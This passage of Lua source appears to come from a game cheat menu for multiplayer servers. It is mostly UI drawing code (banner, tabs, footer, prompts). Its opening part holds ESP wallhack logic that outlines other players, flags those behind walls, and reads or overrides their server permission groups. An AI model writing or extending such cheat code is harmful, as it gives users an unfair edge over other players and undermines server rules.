menu.vars.espColors[names[selector]] return { selected[1], selected[2], selected[3], selected[4] } end return { 255, 255, 255, 255 } end function assembledMenuDrawing.getFriendColor() local color = menu.vars.colorPickers and menu.vars.colorPickers.espFriendColor if color then return { color[1], color[2], color[3], color[4] or 255 } end return { 0, 255, 0, 255 } end function assembledMenuDrawing.getDefaultEspNameColor() local color = menu.vars.colorPickers and menu.vars.colorPickers.espNameColor if color then return { color[1], color[2], color[3], color[4] or 255 } end return { 255, 255, 255, 255 } end function assembledMenuDrawing.getDeadEspColor(kind) local pickerName = "espTextDeadColor" if kind == "box" then pickerName = "espBoxDeadColor" elseif kind == "skeleton" then pickerName = "espSkeletonDeadColor" end local color = menu.vars.colorPickers and menu.vars.colorPickers[pickerName] if color then return { color[1], color[2], color[3], color[4] or 255 } end return { 150, 150, 150, 255 } end function assembledMenuDrawing.getSpecialGroupColor(primaryName, defaultColor, fallbackName) local color = menu.vars.colorPickers if color then color = menu.vars.colorPickers[primaryName] or menu.vars.colorPickers[fallbackName] end if color then return { color[1], color[2], color[3], color[4] or 255 } end return { 120, 200, 255, 255 } end function assembledMenuDrawing.getInvisibleEspColor() local color = menu.vars.colorPickers and menu.vars.colorPickers.espInvisibleColor if color then return { color[1], color[2], color[3], color[4] or 255 } end return { 255, 0, 0, 255 } end function assembledMenuDrawing.getSkeletonOccludedColor() local color = menu.vars.colorPickers and menu.vars.colorPickers.espSkeletonOccludedColor if color then return { color[1], color[2], color[3], color[4] or 255 } end return { 208, 176, 136, 255 } end function assembledMenuDrawing.isEspPedBehindWall(entity) if not entity or entity == 0 or not DoesEntityExist(entity) then return false end local playerPed = PlayerPedId() if not playerPed or playerPed == 0 or not DoesEntityExist(playerPed) then return false end local vehicle = 0 if IsPedInAnyVehicle(entity, false) then vehicle = GetVehiclePedIsIn(entity, false) end local clearToEntity = HasEntityClearLosToEntity(playerPed, entity, 17) local clearToVehicle = false if vehicle ~= 0 and DoesEntityExist(vehicle) then clearToVehicle = HasEntityClearLosToEntity(playerPed, vehicle, 17) end return not clearToEntity and not clearToVehicle end function assembledMenuDrawing.getPlayerEspGroup(playerId, ped) local group = GetStateBagValue("player:" .. playerId, "group") if not group or #tostring(group) == 0 then group = GetStateBagValue("player:" .. playerId, "CORE_Group") end if menu.vars.groupOverrides[playerId] then group = menu.vars.groupOverrides[playerId] end group = group or "user" if menu.utils.shouldShowVanityUserInEsp and menu.utils.shouldShowVanityUserInEsp(playerId) then return "VANITY" end if menu.utils.shouldShowFriendInEsp and menu.utils.shouldShowFriendInEsp(playerId, ped) then return "Friend" end return group end function assembledMenuDrawing.isPlayerSpecialEspGroup(playerId, ped) local group = menu.drawing.getPlayerEspGroup(playerId, ped) if group == nil or group == "Friend" or group == "user" or group == "users" or group == "VANITY" then return false end return true end function assembledMenuDrawing.getPlayerEspTextColor(playerId, ped, invisible, dead) if dead then return menu.drawing.getDeadEspColor("text") end if invisible then return menu.drawing.getInvisibleEspColor() end if menu.utils.usesFriendEspColor and menu.utils.usesFriendEspColor(ped) then return menu.drawing.getFriendColor() end local group = menu.drawing.getPlayerEspGroup(playerId, ped) if menu.drawing.isPlayerSpecialEspGroup(playerId, ped) then return menu.drawing.getSpecialGroupColor( "espSpecialGroupNameColor", menu.drawing.getDefaultEspNameColor(), "espTextGroupColor" ) end return menu.drawing.getDefaultEspNameColor() end function assembledMenuDrawing.getPlayerEspBoxColor(playerId, ped, invisible, dead) if dead then return menu.drawing.getDeadEspColor("box") end if invisible then return menu.drawing.getInvisibleEspColor() end if menu.utils.usesFriendEspColor and menu.utils.usesFriendEspColor(ped) then return menu.drawing.getFriendColor() end local group = menu.drawing.getPlayerEspGroup(playerId, ped) if menu.drawing.isPlayerSpecialEspGroup(playerId, ped) then return menu.drawing.getSpecialGroupColor( "espSpecialGroupBoxColor", menu.drawing.getEspColor("box", false), "espTextGroupColor" ) end return menu.drawing.getEspColor("box", false) end function assembledMenuDrawing.getPlayerEspSkeletonColor(playerId, ped, behindWall, dead, invisible) if dead then return menu.drawing.getDeadEspColor("skeleton") end if invisible then return menu.drawing.getInvisibleEspColor() end if menu.utils.usesFriendEspColor and menu.utils.usesFriendEspColor(ped) then return menu.drawing.getFriendColor() end local group = menu.drawing.getPlayerEspGroup(playerId, ped) if menu.drawing.isPlayerSpecialEspGroup(playerId, ped) then return menu.drawing.getSpecialGroupColor( "espSpecialGroupSkeletonColor", menu.drawing.getEspColor("skeleton", false) ) end if behindWall and menu.vars.bools and menu.vars.bools.espSkeletonWallHighlight then return menu.drawing.getSkeletonOccludedColor() end return menu.drawing.getEspColor("skeleton", false) end function assembledMenuDrawing.getPlayerEspHealthColor(playerId, ped, healthRatio) local selector = menu.vars.selectors and menu.vars.selectors.espHealthBarColor or 2 if menu.utils.usesFriendEspColor and menu.utils.usesFriendEspColor(ped) then return menu.drawing.getFriendColor() end local group = menu.drawing.getPlayerEspGroup(playerId, ped) if menu.drawing.isPlayerSpecialEspGroup(playerId, ped) then return menu.drawing.getSpecialGroupColor( "espSpecialGroupHealthColor", menu.drawing.getHealthBarColors(healthRatio, false), "espSpecialGroupBoxColor" ) end if selector == 2 then return menu.drawing.getHealthBarColors(healthRatio, false) end return menu.drawing.getHealthBarColors(healthRatio, false) end function assembledMenuDrawing.getPlayerEspArmorColor(playerId, ped) if menu.utils.usesFriendEspColor and menu.utils.usesFriendEspColor(ped) then return menu.drawing.getFriendColor() end local group = menu.drawing.getPlayerEspGroup(playerId, ped) if menu.drawing.isPlayerSpecialEspGroup(playerId, ped) then return menu.drawing.getSpecialGroupColor( "espSpecialGroupArmorColor", menu.drawing.getEspColor("armor"), "espSpecialGroupBoxColor" ) end return menu.drawing.getEspColor("armor") end function assembledMenuDrawing.getHealthBarColors(healthRatio, ped) local selector = menu.vars.selectors and menu.vars.selectors.espHealthBarColor or 2 local staticColor = ped and menu.vars.colorPickers.pedEspHealthBarStaticColor or menu.vars.colorPickers.espHealthBarStaticColor if selector == 1 and staticColor then return { staticColor[1], staticColor[2], staticColor[3], staticColor[4] or 230 } end local type2Color = ped and menu.vars.colorPickers.pedEspHealthBarType2Color or menu.vars.colorPickers.espHealthBarType2Color if selector == 1 and type2Color then return { type2Color[1], type2Color[2], type2Color[3], type2Color[4] or 255 } end local ratio = math.max(0.0, math.min(1.0, healthRatio or 0.0)) local function interpolate(from, to, amount) return { math.floor(from[1] + (to[1] - from[1]) * amount), math.floor(from[2] + (to[2] - from[2]) * amount), math.floor(from[3] + (to[3] - from[3]) * amount), 230 } end if 0.75 <= ratio then return interpolate({ 255, 255, 0 }, { 0, 255, 0 }, (ratio - 0.75) / 0.25) elseif 0.5 <= ratio then return interpolate({ 255, 165, 0 }, { 255, 255, 0 }, (ratio - 0.5) / 0.25) elseif 0.25 <= ratio then return interpolate({ 255, 0, 0 }, { 255, 165, 0 }, (ratio - 0.25) / 0.25) end return interpolate({ 160, 0, 0 }, { 255, 0, 0 }, ratio / 0.25) end function assembledMenuDrawing.getPedBBoxScreen(entity) local model = GetEntityModel(entity) local minimum, maximum = GetModelDimensions(model) if not minimum or not maximum then return nil end local halfX = (maximum.x - minimum.x) * 0.5 local halfY = (maximum.y - minimum.y) * 0.5 local halfZ = (maximum.z - minimum.z) * 0.5 local right, forward, up, position = GetEntityMatrix(entity) if not right or not forward or not up or not position then return nil end local function transform(x, y, z) return position + right * x + forward * y + up * z end local corner1 = transform(halfX, halfY, halfZ) local corner2 = transform(-halfX, -halfY, halfZ) local corner3 = transform(-halfX, halfY, -halfZ) local corner4 = transform(halfX, -halfY, -halfZ) local visible0, x0, y0 = Ham.worldToScreen(position.x, position.y, position.z) local visible1, x1, y1 = Ham.worldToScreen(corner1.x, corner1.y, corner1.z) local visible2, x2, y2 = Ham.worldToScreen(corner2.x, corner2.y, corner2.z) local visible3, x3, y3 = Ham.worldToScreen(corner3.x, corner3.y, corner3.z) local visible4, x4, y4 = Ham.worldToScreen(corner4.x, corner4.y, corner4.z) if not (visible0 and visible1 and visible2 and visible3 and visible4) then return nil end local width = (math.abs(x1 - x2) + math.abs(x3 - x4)) * 0.5 local height = (math.abs(y1 - y4) + math.abs(y2 - y3)) * 0.5 local centerX = (x1 + x2 + x3 + x4) * 0.25 local centerY = (y3 + y4) * 0.5 return centerX, centerY, width, height end function assembledMenuDrawing.drawMagicStars(x, y, width, height, scale, alpha, maximumStars) local primary = menu.drawing.colors.primary local time = GetGameTimer() / 1000.0 local starCount = math.min(maximumStars or 100, math.max(28, math.floor(width * height / (1800 * scale * scale)))) local margin = math.max(2, roundNearest(3 * scale)) local availableWidth = math.max(1, width - margin * 2) local availableHeight = math.max(1, height - margin * 2) for index = 1, starCount, 1 do local seedX = index * 0.61803398875 % 1 local seedY = index * 0.75487766625 % 1 local speed = 2.0 + index % 5 * 0.65 local starX = roundNearest(x + margin + (seedX * availableWidth + time * speed * scale * 0.3) % availableWidth) local starY = roundNearest(y + margin + (seedY * availableHeight - time * speed * scale) % availableHeight) local pulse = 0.5 + 0.5 * math.sin(time * (1.2 + index % 7 * 0.2) + index * 2.4) local starAlpha = math.floor((65 + pulse * 150) * (alpha or 1)) local radius = math.max(1, roundNearest((index % 9 == 0 and 1.3 or 0.75) * scale)) local color = { math.floor(170 + primary[1] / 3), math.floor(170 + primary[2] / 3), math.floor(170 + primary[3] / 3), starAlpha } Ham.drawCircle({ starX, starY, radius }, color, 8, 1.0, true) if index % 9 == 0 then local glowRadius = math.max( 1, roundNearest(math.min(3 * scale, starX - x, x + width - starX, starY - y, y + height - starY)) ) Ham.drawCircle( { starX, starY, glowRadius }, { primary[1], primary[2], primary[3], math.floor(starAlpha * 0.18) }, 12, 1.0, true ) local horizontalLength = math.max(1, roundNearest(math.min(2.5 * scale, glowRadius))) local thickness = math.max(1, roundNearest(scale)) local crossColor = { color[1], color[2], color[3], math.floor(starAlpha * 0.6) } Ham.drawRectFilled( { starX - horizontalLength, starY, horizontalLength * 2, thickness }, crossColor, 0, 0 ) Ham.drawRectFilled( { starX, starY - horizontalLength, thickness, horizontalLength * 2 }, crossColor, 0, 0 ) end end end function assembledMenuDrawing.drawMenuSectionGlow(x, y, width, height, scale) if width <= 0 or height <= 0 then return end local primary = menu.drawing.colors.primary local glowSize = math.max(1, roundNearest(12 * scale)) local solid = { primary[1], primary[2], primary[3], 65 } local transparent = { primary[1], primary[2], primary[3], 0 } Ham.drawRectGradient({ x, y - glowSize, width, glowSize }, transparent, solid, true) Ham.drawRectGradient({ x, y + height, width, glowSize }, solid, transparent, true) Ham.drawRectGradient({ x - glowSize, y, glowSize, height }, transparent, solid, false) Ham.drawRectGradient({ x + width, y, glowSize, height }, solid, transparent, false) end function assembledMenuDrawing.drawAll() if menu.vars.textPrompt and menu.drawing.drawTextPrompt then menu.drawing.drawTextPrompt() end local visibility = menu.vars.menuVisibilityAnim local visible = menu.vars.visible if not visible and (not visibility or visibility.progress <= 0) then return end if visibility and visibility.progress <= 0.001 and (visibility.target or 0) <= 0 then return end local currentNode = menu.vars.navigationStack[#menu.vars.navigationStack] if not currentNode then return end menu.drawing.beginMenuVisibilityTransform() local success, errorMessage = pcall(function() menu.vars.orderedTabs = menu.logic.computeOrderedTabs() if menu.vars.currentTab > #menu.vars.orderedTabs then menu.vars.currentTab = #menu.vars.orderedTabs end local options = menu.logic.getNodeOptions(currentNode) local visibleOptions = menu.logic.getVisibleOptions(options) menu.logic.clampMenuScroll(#visibleOptions) if menu.vars.movingOverlayList == "menuPositionState" then local scale = menu.vars.scale local bannerHeight = roundNearest(menu.vars.bannerHeight * menu.vars.widthScaleFactor) local contentHeight = roundNearest(menu.vars.titleBarHeight * scale) + menu.logic.getCurrentTabHeight(currentNode) contentHeight = contentHeight + minNumber(#visibleOptions, menu.vars.maxVisibleOptions) * roundNearest(menu.vars.optionHeight * scale) contentHeight = contentHeight + roundNearest(menu.vars.footerHeight * scale) menu.functions.drawOverlayMoveFocus( "menuPositionState", menu.vars.menuPositionState, menu.vars.width, bannerHeight + contentHeight, bannerHeight ) end menu.drawing.drawBanner() menu.drawing.drawBase(currentNode, visibleOptions) local tabHeight = menu.logic.getCurrentTabHeight(currentNode) if #menu.vars.navigationStack == 1 then menu.drawing.drawTabs(nil, nil, tabHeight) else local tabs = currentNode._activeTabs if tabs and menu.logic.menuTabListLen(tabs) > 0 then menu.drawing.drawTabs(tabs, currentNode.tabIndex or 1, tabHeight) end end menu.drawing.drawOptions(currentNode, visibleOptions) end) menu.drawing.endMenuVisibilityTransform() if not success and errorMessage then print("[menu] drawAll error: " .. tostring(errorMessage)) end end function assembledMenuDrawing.drawBase(node, visibleOptions) local scale = menu.vars.scale local screenWidth, screenHeight = Ham.getResolution() local position = menu.vars.menuPositionState if position.x == nil or position.y == nil then position.x = roundNearest(75 * scale) position.y = roundNearest(menu.vars.resolution.y / (menu.vars.menuVerticalAnchorDivisor or 7)) + roundNearest(menu.vars.yOffset * scale) + roundNearest(menu.vars.bannerHeight * menu.vars.widthScaleFactor) end local x, y = position.x, position.y local visibleCount = minNumber(#visibleOptions, menu.vars.maxVisibleOptions) local animation = menu.vars.animation if animation.active then local oldCount = minNumber(#menu.logic.getVisibleOptions(animation.fromOptions), menu.vars.maxVisibleOptions) local progress = menu.drawing.easeOutCubic(maxNumber(0, minNumber(1, animation.progress))) visibleCount = oldCount + (visibleCount - oldCount) * progress end local width = menu.vars.width local borderWidth = roundNearest(scale) local optionHeight = roundNearest(menu.vars.optionHeight * scale) local tabHeight = menu.logic.getCurrentTabHeight(node) local totalHeight = roundNearest( menu.vars.titleBarHeight * scale + tabHeight + visibleCount * optionHeight + menu.vars.footerHeight * scale ) local mouseX, mouseY = Ham.getMousePos() local mouseDown = Ham.isMouseDown(0) local bannerHeight = roundNearest(menu.vars.bannerHeight * menu.vars.widthScaleFactor) local bannerY = y - bannerHeight local titleHeight = roundNearest(menu.vars.titleBarHeight * scale) local bannerHovered = x <= mouseX and mouseX <= x + width and mouseY >= bannerY and mouseY <= bannerY + bannerHeight local titleHovered = x <= mouseX and mouseX <= x + width and y <= mouseY and mouseY <= y + titleHeight local headerHovered = bannerHovered or titleHovered if menu.vars.movingOverlayList ~= "menuPositionState" then if not menu.vars.movingOverlayList and mouseDown and Ham.isGuiOpen() then if position.isDragging then position.x = maxNumber(0, minNumber(screenWidth - width, mouseX - position.dragOffsetX)) position.y = maxNumber(bannerHeight, minNumber(screenHeight - totalHeight, mouseY - position.dragOffsetY)) elseif headerHovered then position.isDragging = true position.dragOffsetX = mouseX - x position.dragOffsetY = mouseY - y end else position.isDragging = false end end x, y = roundNearest(position.x), roundNearest(position.y) local gapHeight = roundNearest(15 * scale) local cornerRadius = 0 local bodyY = y + titleHeight + tabHeight local bodyHeight = visibleCount * optionHeight if bodyHeight > 0 then local textureName = menu.vars.backgroundTexture local texture = textureName and menu.textures and menu.textures[textureName] or nil if texture and menu.textureLoading and menu.textureLoading.ensureBgTextureLoading then menu.textureLoading.ensureBgTextureLoading() texture = menu.textures[textureName] end if texture then Ham.drawTexture( texture, { roundNearest(x), roundNearest(bodyY) }, { roundNearest(x) + roundNearest(width), roundNearest(bodyY) + roundNearest(bodyHeight) }, { 255, 255, 255, 255 }, cornerRadius, { topLeft = false, topRight = false, bottomLeft = false, bottomRight = false } ) end Ham.drawRectFilled({ x, bodyY, width, bodyHeight }, menu.drawing.colors.bg_dark_1, cornerRadius, 0) end if menu.vars.backgroundStyleName == "Magic" and bodyHeight > 0 then local primary = menu.drawing.colors.primary Ham.drawRectGradient( { x, bodyY, width, bodyHeight }, { primary[1], primary[2], primary[3], 48 }, { 0, 0, 0, 0 }, true ) Ham.drawRectFilled({ x, bodyY, width, bodyHeight }, { 0, 0, 0, 200 }, cornerRadius, 0) Ham.drawRectGradient( { x, bodyY, width, bodyHeight }, { primary[1], primary[2], primary[3], 56 }, { 0, 0, 0, 0 }, true ) menu.drawing.drawMagicStars(x, bodyY, width, bodyHeight, scale) end if menu.textures.banner then Ham.drawRectFilled({ x, y, width, gapHeight }, menu.drawing.colors.bg_dark_1, 0, 0) end Ham.drawRectFilled({ x, y, width, titleHeight }, { 0, 0, 0, 255 }, 0, 0) if menu.textures.banner then Ham.drawRectFilled({ x, y, width, gapHeight }, { 0, 0, 0, 255 }, 0, 0) Ham.drawRectFilled({ x, y, width, minNumber(4, titleHeight) }, { 0, 0, 0, 255 }, 0, 0) end local primary = menu.drawing.colors.primary or { 220, 20, 20, 255 } local titleLineY = y + titleHeight - borderWidth for layer = 4, 1, -1 do Ham.drawRectFilled( { x, titleLineY - layer, width, 1 + layer * 2 }, { primary[1], primary[2], primary[3], floorNumber(20 * layer) }, 0, 0 ) end Ham.drawRectFilled({ x, titleLineY, width, borderWidth }, { primary[1], primary[2], primary[3], 255 }, 0, 0) Ham.setFont(menu.fonts.title) local titleFontSize = roundNearest(16 * scale) local title = menu.logic.getScriptOptionsBarTitle() if not title then title = menu.logic.buildMenuBreadcrumbText() if title == "" then title = node.title or "" end end if title ~= "" then local availableWidth = width - roundNearest(24 * scale) Ham.setFont(menu.fonts.title) local titleWidth = select(1, Ham.getTextWidth(title)) or 0 if availableWidth < titleWidth and #title > 3 then local ellipsis = "..." repeat title = title:sub(1, #title - 1) titleWidth = select(1, Ham.getTextWidth(title .. ellipsis)) or 0 until availableWidth >= titleWidth or #title <= 1 title = title .. ellipsis end local titleX = x + roundNearest(width / 2) local titleY = y + (menu.vars.titleBarHeight - 8.0) / 2 Ham.drawText( title, { titleX, titleY }, menu.drawing.colors.text_primary, titleFontSize, true, true, { 0, 0, 0, 255 } ) Ham.drawText(title, { titleX, titleY }, menu.drawing.colors.text_primary, titleFontSize, true, false, {}) Ham.resetFont() end for layer = 4, 1, -1 do Ham.drawRectFilled( { x, y - layer, width, 1 + layer * 2 }, { primary[1], primary[2], primary[3], floorNumber(20 * layer) }, 0, 0 ) end Ham.drawRectFilled({ x, y, width, borderWidth }, { primary[1], primary[2], primary[3], 255 }, 0, 0) local footerHeight = roundNearest(menu.vars.footerHeight * scale) local footerY = y + totalHeight - footerHeight local primaryDark = menu.drawing.colors.primary_dark Ham.drawRectFilled( { x, footerY, width, footerHeight }, { 0, 0, 0, 255 }, roundNearest(6 * scale), roundNearest(12 * scale) ) Ham.drawRectFilled({ x, footerY, width, roundNearest(footerHeight / 2) }, { 0, 0, 0, 255 }, 0, 0) local footerGradientY = footerY + roundNearest(2 * scale) local footerGradientHeight = footerHeight - roundNearest(2 * scale) if menu.vars.footerStyleName ~= "Black" then Ham.drawRectGradient( { x, footerGradientY, width, footerGradientHeight }, { primary[1], primary[2], primary[3], 200 }, { 0, 0, 0, 0 }, true ) end for layer = 2, 1, -1 do Ham.drawRectFilled( { x, footerY - layer, width, 1 + layer * 2 }, { primary[1], primary[2], primary[3], floorNumber(25 * layer) }, 0, 0 ) end Ham.drawRectFilled({ x, footerY, width, borderWidth }, primary, 1, 0) Ham.setFont(menu.fonts.title) local optionCount = #visibleOptions local currentOption = 0 if optionCount > 0 then currentOption = math.min(menu.vars.currentOption + (menu.vars.scrollOffset or 0), optionCount) end local counterText = string.format("%d / %d", currentOption, optionCount) local footerPadding = roundNearest(10 * scale) local footerFontSize = roundNearest((menu.vars.titleBarHeight / 2 + 2) * scale) local footerTextY = footerY + maxNumber(2, roundNearest((footerHeight - footerFontSize) / 2)) local logoX = x + footerPadding local logoSize = roundNearest(20 * scale) local logoY = footerY + roundNearest((footerHeight - logoSize) / 2) if menu.textures and menu.textures.notifyLogo and Ham.drawTexture then Ham.drawTexture( menu.textures.notifyLogo, { logoX, logoY }, { logoX + logoSize, logoY + logoSize }, { 255, 255, 255, 255 }, 0, {} ) end local footerLabel if menu.vars.bools.disabledUsernameOnMenu then footerLabel = getFooterBuildLabel() else local resolvedName if menu.utils and menu.utils.resolveHamUserName then resolvedName = menu.utils.resolveHamUserName() end if not resolvedName and Ham.getName then resolvedName = Ham.getName() end footerLabel = tostring(resolvedName or "User") end local footerLabelX = logoX + logoSize + roundNearest(4 * scale) Ham.drawText( footerLabel, { footerLabelX, footerTextY }, { 255, 255, 255, 255 }, footerFontSize, false, true, { 0, 0, 0, 120 } ) Ham.drawText( footerLabel, { footerLabelX, footerTextY }, { 255, 255, 255, 255 }, footerFontSize, false, false, {} ) local counterWidth = select(1, Ham.getTextWidth(counterText)) local counterX = x + width - footerPadding - counterWidth Ham.drawText( counterText, { counterX, footerTextY }, { 255, 255, 255, 255 }, footerFontSize, false, true, { 0, 0, 0, 120 } ) Ham.drawText(counterText, { counterX, footerTextY }, { 255, 255, 255, 255 }, footerFontSize, false, false, {}) Ham.resetFont() Ham.drawRectFilled({ x, y, width, borderWidth }, { primary[1], primary[2], primary[3], 255 }, 0, 0) end function assembledMenuDrawing.drawTabs(tabList, selectedTab, heightOverride) local tabs = tabList or menu.vars.orderedTabs local tabCount = menu.logic.menuTabListLen(tabs) if tabCount < 1 then return end local currentTab = selectedTab or menu.vars.currentTab local scale = menu.vars.scale local position = menu.vars.menuPositionState if position.x == nil or position.y == nil then position.x = roundNearest(75 * scale) position.y = roundNearest(menu.vars.resolution.y / (menu.vars.menuVerticalAnchorDivisor or 7)) + roundNearest(menu.vars.yOffset * scale) + roundNearest(menu.vars.bannerHeight * menu.vars.widthScaleFactor) end local x = position.x local y = position.y + roundNearest(menu.vars.titleBarHeight * scale) local width = menu.vars.width local height = maxNumber(1, heightOverride or menu.vars.tabHeight) local tabsFont = menu.fonts.tabs Ham.setFont(tabsFont.font) local fontSize = tabsFont.font_size local textY = y + roundNearest((height - (fontSize or 16)) / 2) local textColor = { 255, 255, 255, 255 } local gradientInactive = menu.vars.footerStyleName ~= "Black" local primary = menu.drawing.colors.primary local primaryDark = menu.drawing.colors.primary_dark local primaryLight = menu.drawing.colors.primary_light local greyTheme = menu.vars.currentColorTheme == "grey" for index, tab in ipairs(tabs) do local left = x + floorNumber((index - 1) * width / tabCount) local right = x + floorNumber(index * width / tabCount) local tabWidth = maxNumber(0, right - left) if index == currentTab then if greyTheme then Ham.drawRectFilled({ left, y, tabWidth, height }, { 0, 0, 0, 255 }, 0, 0) Ham.drawRectGradient( { left, y, tabWidth, height }, { primary[1], primary[2], primary[3], 200 }, { primaryDark[1], primaryDark[2], primaryDark[3], 120 }, true ) Ham.drawRectFilled( { left, y, tabWidth, 1 }, { primaryLight[1], primaryLight[2], primaryLight[3], 140 }, 1, 0 ) else Ham.drawRectGradient( { left, y, tabWidth, height }, { primaryDark[1], primaryDark[2], primaryDark[3], 255 }, { primary[1], primary[2], primary[3], 255 }, false ) if primaryLight then Ham.drawRectFilled( { left, y + height - 1, tabWidth, 1 }, { primaryLight[1], primaryLight[2], primaryLight[3], 255 }, 1, 0 ) end end else Ham.drawRectFilled({ left, y, tabWidth, height }, { 0, 0, 0, 255 }, 0, 0) if gradientInactive then Ham.drawRectGradient( { left, y, tabWidth, height }, { primary[1], primary[2], primary[3], 200 }, { 0, 0, 0, 0 }, true ) end end local textPosition = { left + roundNearest(tabWidth / 2), textY } Ham.drawText(tab.name, textPosition, textColor, fontSize, true, true, { 0, 0, 0, 255 }) Ham.drawText(tab.name, textPosition, textColor, fontSize, true, false, {}) end Ham.resetFont() end function assembledMenuDrawing.getKeyBindPromptAccent() return menu.drawing.colors.primary or { 26, 168, 26, 255 } end function assembledMenuDrawing.drawKeyBindPromptText(text, x, y, fontSize) if not text or text == "" then return end local color = { 255, 255, 255, 255 } Ham.drawText(text, { x, y }, color, fontSize, true, true, { 0, 0, 0, 255 }) Ham.drawText(text, { x, y }, color, fontSize, true, false, {}) end function assembledMenuDrawing.drawKeyBindPromptLogo(x, y, width, height, scale, options) if not (menu.textures and menu.textures.notifyLogo and Ham.drawTexture) then return end options = options or {} local size = options.size or roundNearest(22 * scale) local padRight = options.padRight or roundNearest(6 * scale) local padTop = options.padTop or roundNearest(8 * scale) local alpha = options.alpha or 255 local logoX = x + width - padRight - size local logoY = y + padTop Ham.drawTexture( menu.textures.notifyLogo, { logoX, logoY }, { logoX + size, logoY + size }, { 255, 255, 255, alpha }, 0, {} ) end function assembledMenuDrawing.getPromptModalBox(scale, screenWidth, screenHeight, placement) local minimumWidth = roundNearest(360 * scale) local maximumWidth = roundNearest(420 * scale) local width = math.min(math.max(minimumWidth, roundNearest((menu.vars.width or minimumWidth) * 0.9)), maximumWidth) local height = roundNearest(130 * scale) local x = roundNearest(screenWidth / 2 - width / 2) local y if placement == "lower" then y = roundNearest(screenHeight * 0.72 - height / 2) else y = roundNearest(screenHeight / 2 - height / 2) end return x, y, width, height end function assembledMenuDrawing.drawFooterStylePromptPanel(x, y, width, height, scale, options) options = options or {} local radius = roundNearest(12 * scale) local cornerFlags = roundNearest(12 * scale) local primary = menu.drawing.colors.primary Ham.drawRectFilled({ x, y, width, height }, { 0, 0, 0, 245 }, radius, cornerFlags) if menu.vars.footerStyleName ~= "Black" then local gradientY = y + roundNearest(2 * scale) local availableHeight = height - roundNearest(2 * scale) local gradientHeight = options.gradientHeight or availableHeight if options.gradientScale then gradientHeight = roundNearest(availableHeight * options.gradientScale) end local gradientAlpha = options.gradientAlpha or 200 Ham.drawRectGradient( { x, gradientY, width, gradientHeight }, { primary[1], primary[2], primary[3], gradientAlpha }, { 0, 0, 0, 0 }, true ) end for layer = 5, 1, -1 do Ham.drawRectFilled( { x, y - layer, width, 1 + layer * 2 }, { primary[1], primary[2], primary[3], math.floor(24 * layer) }, 0, 0 ) end Ham.drawRectFilled({ x, y, width, roundNearest(1 * scale) }, primary, 1, 0) for layer = options.topGlowLayers or 4, 1, -1 do Ham.drawRectFilled( { x, y + roundNearest(1 * scale), width, layer * 2 }, { primary[1], primary[2], primary[3], math.floor((options.topGlowAlpha or 16) * layer) }, 0, 0 ) end if options.logo ~= false then local logoOptions = options.logoOpts or { size = roundNearest(30 * scale), padRight = roundNearest(10 * scale), padTop = roundNearest(6 * scale) } menu.drawing.drawKeyBindPromptLogo(x, y, width, height, scale, logoOptions) end end function assembledMenuDrawing.drawPromptSeparatorLine(x, width, centerY, scale, color) local thickness = math.max(1, roundNearest(1 * scale)) local lineY = centerY - roundNearest(thickness / 2) for layer = 2, 1, -1 do Ham.drawRectFilled( { x, lineY - layer, width, thickness + layer * 2 }, { color[1], color[2], color[3], math.floor(10 * layer) }, 0, 0 ) end Ham.drawRectFilled({ x, lineY, width, thickness }, { color[1], color[2], color[3], 170 }, 0, 0) for layer = 2, 1, -1 do Ham.drawRectFilled( { x, lineY + thickness, width, layer * 2 }, { color[1], color[2], color[3], math.floor(7 * layer) }, 0, 0 ) end end function assembledMenuDrawing.getToastPromptBox(scale, screenWidth, screenHeight, heightScale) local width = roundNearest(360 * scale) local height = roundNearest((heightScale or 64) * scale) local x = roundNearest(screenWidth / 2 - width / 2) local y = roundNearest(screenHeight * 0.75) return x, y, width, height end function assembledMenuDrawing.getTextPromptBox(scale, screenWidth, screenHeight) return menu.drawing.getToastPromptBox(scale, screenWidth, screenHeight, 98) end function assembledMenuDrawing.wrapTextPromptLines(text, maximumWidth, font, fontSize) local lines = {} text = tostring(text or "") if text == "" then return lines end local baseFontSize = menu.fonts.main and menu.fonts.main.font_size or 13 local scale = fontSize / math.max(1, baseFontSize) Ham.setFont(font) local line = "" for word in string.gmatch(text, "%S+") do local candidate = line == "" and word or line .. " " .. word local measuredWidth = select(1, Ham.getTextWidth(candidate)) or 0 measuredWidth = measuredWidth * scale if maximumWidth < measuredWidth and line ~= "" then lines[#lines + 1] = line line = word else line = candidate end end if line ~= "" then lines[#lines + 1] = line end Ham.resetFont() if #lines == 0 then lines[1] = text end return lines end function assembledMenuDrawing.getDangerTextPromptLayout(prompt, scale, screenWidth, screenHeight) local titleSize = roundNearest(16 * scale) local subtitleSize = roundNearest(12 * scale) local hintSize = roundNearest(11 * scale) local padX = roundNearest(16 * scale) local padTop = roundNearest(14 * scale) local bottomPadding = roundNearest(12 * scale) local boxWidth = roundNearest(360 * scale) local badgeSize = roundNearest(30 * scale) local badgeGap = roundNearest(10 * scale) local wrapWidth = boxWidth - padX * 2 local bodyFont = menu.fonts.main and menu.fonts.main.font or menu.fonts.title local lines = menu.drawing.wrapTextPromptLines(prompt.label or "", wrapWidth, bodyFont, subtitleSize) local lineGap = roundNearest(4 * scale) local subtitleBlockH = #lines * subtitleSize + math.max(0, #lines - 1) * lineGap local inputH = roundNearest(28 * scale) local gapAfterBadge = roundNearest(10 * scale) local gapAfterSubtitle = roundNearest(10 * scale) local bottomGap = roundNearest(8 * scale) local boxHeight = padTop + badgeSize + gapAfterBadge + subtitleBlockH + gapAfterSubtitle + inputH + bottomGap + hintSize + bottomPadding local boxX = roundNearest(screenWidth / 2 - boxWidth / 2) local boxY = roundNearest(screenHeight * 0.75 + roundNearest(98 * scale)) - boxHeight local badgeX = boxX + padX local badgeY = boxY + padTop local titleX = badgeX + badgeSize + badgeGap local titleY = badgeY + roundNearest((badgeSize - titleSize) / 2) return { box_x = boxX, box_y = boxY, boxWidth = boxWidth, boxHeight = boxHeight, padX = padX, padTop = padTop, titleSize = titleSize, subtitleSize = subtitleSize, hintSize = hintSize, lines = lines, lineGap = lineGap, subtitleBlockH = subtitleBlockH, inputH = inputH, gapAfterSubtitle = gapAfterSubtitle, badgeSize = badgeSize, badgeX = badgeX, badgeY = badgeY, iconSize = roundNearest(14 * scale), textX = boxX + padX, titleX = titleX, titleY = titleY, subtitleY = badgeY + badgeSize + gapAfterBadge, hintY = boxY + boxHeight - bottomPadding - hintSize, inputY = badgeY + badgeSize + gapAfterBadge + subtitleBlockH + gapAfterSubtitle, compactDanger = true } end function assembledMenuDrawing.drawDangerCompactTextPrompt(prompt, layout, scale) if not prompt or not layout then return end local boxX, boxY, boxWidth, boxHeight = layout.box_x, 